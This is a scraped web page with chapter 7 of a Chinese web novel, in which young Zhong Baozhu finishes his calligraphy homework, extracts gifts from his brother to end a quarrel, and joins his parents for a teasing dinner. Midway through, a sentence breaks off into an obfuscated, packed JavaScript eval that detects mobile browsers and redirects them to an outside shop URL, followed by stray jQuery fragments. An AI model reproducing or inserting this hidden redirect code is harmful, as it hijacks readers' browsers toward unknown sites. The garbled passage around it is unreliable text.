默认冷灰
24号文字
方正启体

7. 补功课

作者:岩城太瘦生本书字数:K更新时间:
    7


    不管怎么样。


    两个干了坏事的小混蛋,都被家里人狠狠地教训了一顿。


    钟宝珠收了心,待在房里,乖乖写功课。


    又到了傍晚时分。


    夕阳余晖透过窗格,斜斜地照进来。


    屋里昏暗,元宝踮起脚尖,点起蜡烛。


    钟宝珠则端坐在书案前,面前是整整齐齐、已经临好的八张字帖。


    他张开双手:“元宝,快来看看!我努力一整天的成果!”


    元宝捧着烛台,凑近一看,惊叹道:“小公子可真厉害!”


    “那当然了。”钟宝珠扬起小脸,得意洋洋,自信满满。


    “这字写得,我都分不清,哪一张是原贴,哪一张是小公子写的了!”


    “那可不!”钟宝珠拍了拍胸脯,“爷爷跟我说过,他的太太太爷爷,就是汉末的书法大家,钟繇!”


    “小公子是‘书法小家’。”元宝把烛台放在桌上,凑近前去,“我可得仔细看看。”


    “诶诶诶!”钟宝珠连忙拦住他,“小心一点,烛花掉下来,要烧坏了。”


    “好,我把烛台挪远些。”


    钟宝珠举起一幅字,上看下看,左看右看,前看后看。


    怎么看怎么满意,怎么看怎么喜欢。


    “我都有点舍不得交上去了。”


    他亲自把纸张卷起来,让元宝收进竹筒里。


    “对了,元宝,我娘那边派人过来,喊我去吃饭了吗?”


    “还没呢。”元宝道,“夫人听说,小公子这一整日都在写功课,特意命人炖了羊腿。羊腿肉厚,炖久一些也是有的。”


    “唔。”钟宝珠点点头,撩起衣袖,“那我就——”


    “再写一幅!”


    “好嘞!”元宝大喜过望,连忙裁纸研墨。


    钟宝珠提笔蘸墨,元宝把纸张摆正铺平。


    正要写字,笔尖一顿,却又停住了。


    元宝问:“小公子,怎么了?”


    “我……”钟宝珠眼珠一转,笔锋一转,写下四个小字。


    ——卯时,起床。


    “小公子?”元宝不解。


    钟宝珠另起一行,继续书写。


    ——辰时,临帖。


    ——巳时,策论。


    ——午时,午饭。


    ……


    ——子时,就寝。


    钟宝珠写完最后一笔,潇洒提笔。


    “怎么样?我的……念书计划。”


    “嗯……”元宝摸着下巴,“这倒像是大公子的作息。”


    “诶!”钟宝珠不满地喊了一声,“这是我的!我的!”


    他拿起墨迹未干的纸张,鼓起腮帮子,用力吹了吹。


    “我要是真照着上面写的来做,说不定能比我哥……”


    “小公子怎么不说了?”元宝疑惑。


    钟宝珠瘪了瘪嘴,不想理他。


    就在这时,门外传来温温柔柔的询问。


    “是啊。宝珠,怎么不说了?”


    钟宝珠下意识直起身子,但马上又蔫了下去。


    他扭过身子,背对着门口。


    偏偏外面的人还在敲门。


    元宝看看这边,再看看那边,最后还是过去开了门。


    钟寻掀开帘子,走了进来,又喊了一声:“宝珠?”


    钟宝珠坐在案前,单手支着头,没有应声。


    钟寻叹了口气,走到他面前,在书案对面坐下:“还生气呢?”


    钟宝珠一点儿都不想理他,又换了只手撑着头,扭到另一边去。


    “恼成这样,总憋在心里也不好。”钟寻温声劝道,“跟哥哥说说吧,好不好?”


    钟宝珠磨了磨后槽牙,深吸一口气,站起身来,大声说:“哥,你怎么能觉得我很坏呢?”


    “没错,我是装病了,但是我从来没有想过要让爷爷担心!不信你问元宝,我让他去喊你的时候,还特意让他避开爷爷!”


    “我那时候也是真的知道错了,我已经知道错了,我已经打算认错受罚了,我都已经把手伸出去了!”


    “我伸错了手,你跟我说一声,我会改的!你怎么能觉得我是故意伸右手的呢?你怎么能说我‘偷奸耍滑’呢?”


    钟宝珠张牙舞爪,浑身上下,都写满了不服气。


    “我可是你的亲弟弟,你怎么能觉得我很坏呢?”


    “我明明……只有一点点坏而已!”


    钟寻耐心听他说完,随后站起身来,朝他做了个揖。


    钟宝珠被吓了一跳,但还是昂首挺胸站好了。


    不能退缩!


    钟寻道:“是哥哥不好,向宝珠赔罪了。”


    “不过,哥哥绝对没有把你想得很坏的意思。当时不过是一时顺嘴,把话说快了。”


    钟宝珠双手叉腰,抿着唇瓣,翘起嘴角,像小猫一样:“这还差不多。”


    “那——”钟寻顿了顿,试探着问,“这件事情就这样过去了?”


    “嗯……”钟宝珠思考着,伸出手,“把你书房里的金麒麟摆件拿过来,送给我!”


    “这个不行。金麒麟是他人所赠,不好转送给你。”钟寻温声道,“换一个。”


    “那我要那两只玉雕的蟋蟀,还要你院子里那两盆牡丹花,还有那块波斯地毯。”


    钟宝珠掰着手指头,狮子小开口。


    钟寻自然是无有不应。


    “好,等会儿就让他们给你送过来。”


    “还要你帮我写功课。”


    “嗯?”钟寻皱眉。


    钟宝珠双手叉腰,认真地看回去:“哥,你觉得呢?”


    钟寻思忖道:“哥觉得,你没有这么坏,你只是在跟哥哥开玩笑。”


    “对啦。”钟宝珠很满意。


    “你饿不饿?收拾收拾,去爹娘院子里吃饭。”


    “好。”


    元宝端来温水,钟宝珠把脸上、手上的墨迹洗掉,又披了件大氅,就跟哥哥一起走了。


    钟府一大家子人,每到正月十五,或是逢年过节,会一齐在正堂用饭。


    平日若是无事,未免麻烦,各家就在各家院子里吃。


    老太爷随和,不要儿子伺候,想谁了就喊过来,也很方便。


    钟二爷和二夫人回都之前,老太爷最喜欢钟宝珠,常常喊他过去。


    如今二儿子和二儿媳难得回来一趟,自然是喊他们更多一些。


    钟宝珠也不吃味,只要爷爷高兴,他就高兴。


    兄弟二人并肩同行,一路来到爹娘院外。


    院门两边,已经挂起了灯笼。


    院子里也灯火通明,几个仆从端着碗盘,进进出出,来来去去。


    钟三爷拿着书卷,就站在门外:“如此宽敞的屋舍,竟没有我落脚的地方!哀哉哀哉!”


    紧跟着,一位衣着华贵,端庄雍容的妇人从屋子里走出来,推了他一把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904554|192367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“一边‘哉’去。”


    这位就是钟三爷的妻子、钟府的三夫人,也是钟寻与钟宝珠的母亲。


    她姓荣,原是安平侯府的幺女。


    许多年前,钟三爷还是一个腼腆斯文、不会发火的读书人。


    他十八岁参加科举,又去看榜。


    结果被荣夫人一眼相中,带着家丁,一拥而上,就绑了回去。


    安平侯府本来不大乐意,后来听说是钟府的三公子,大喜过望。


    毕竟当时,老太爷与两个儿子已经出仕,钟府也算是蒸蒸日上的人家。


    就这样,钟三爷与荣夫人成了亲,一年之后,有了钟寻。


    八年之后,又有了钟宝珠。


    荣夫人在家就是老幺,又是隔了这么多年,才生下的钟宝珠。


    对他自然格外疼爱。


    就在这时,钟宝珠看见了荣夫人,荣夫人也看见了钟宝珠。


    “娘亲!”


    “宝珠!”


    母子两个跑向对方。


    荣夫人亲亲热热地搂着钟宝珠,揉他的脸,捏他的手。


    “娘都听说了,在屋子里写了整整一日的功课,手疼不疼啊?”


    钟宝珠吸了吸鼻子:“不疼,就是有点酸。”


    “真是苦了我的宝珠了,瞧这小脸,都累瘦了。”


    “我……”


    钟宝珠还没来得及说话,旁边的钟三爷就开了口。


    “读一日书就能瘦,那我和寻哥儿不得瘦成人干了?没见你心疼过。”


    “我怎么不心疼寻哥儿了?”荣夫人伸出手,也握住钟寻的手,“娘也心疼你。”


    她一手牵着一个,带着两个儿子,朝房里走去。


    “走,咱们进去吃饭,别理他。”


    话是这样说,但钟三爷还是厚着脸皮跟上来了。


    一家人不分席,就在一张桌案前坐下。


    荣夫人张罗着,给两个儿子盛汤夹菜。


    “快尝尝,娘特意让人炖的羊腿。知道宝珠不爱吃肥腻腻的,特意叫人把羊皮和肥油都剃了。”


    钟宝珠双手捧着碗,撒娇似的说一声:“谢谢娘亲。”


    钟寻亦是笑着应道:“多谢母亲。”


    钟三爷沉默着,趁机伸出筷子,夹走一块羊肉。


    动作慢了要挨骂。


    “对了,还有这个。”


    荣夫人站起身来,用木勺一舀,从盆里舀起一整根羊骨棒,“哐当”一下,砸在钟宝珠面前。


    骨头棒是羊腿里面、最大的那一根骨头,上面的肉都被剔下来了,只有一些残留的,得用牙啃。


    钟宝珠一仰头,把嘴里的食物咽下去:“谢……谢谢娘亲。”


    “不着急,慢慢吃。”荣夫人道,“刚才不是说手酸吗?正好补一补,以形补形,以蹄补蹄。”


    “娘,我的手不是‘蹄子’。”


    “都差不多。”


    就在这时,钟三爷又开了口。


    “那你买的时候,可分清楚买的是前蹄,还是后蹄了?”


    “这有什么说法?”


    荣夫人一本正经,钟宝珠也探出脑袋,好奇地看着他。


    钟三爷放下碗,淡淡道:“前蹄才能补手。要是买成后蹄,不就补到腿上了?”


    “他本来就坐不住,成天往外跑。要是补到腿上,变成羊蹄子,撒丫子疯跑,不得一路跑到西域草原?”


    “到那时候,你追都追不上。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)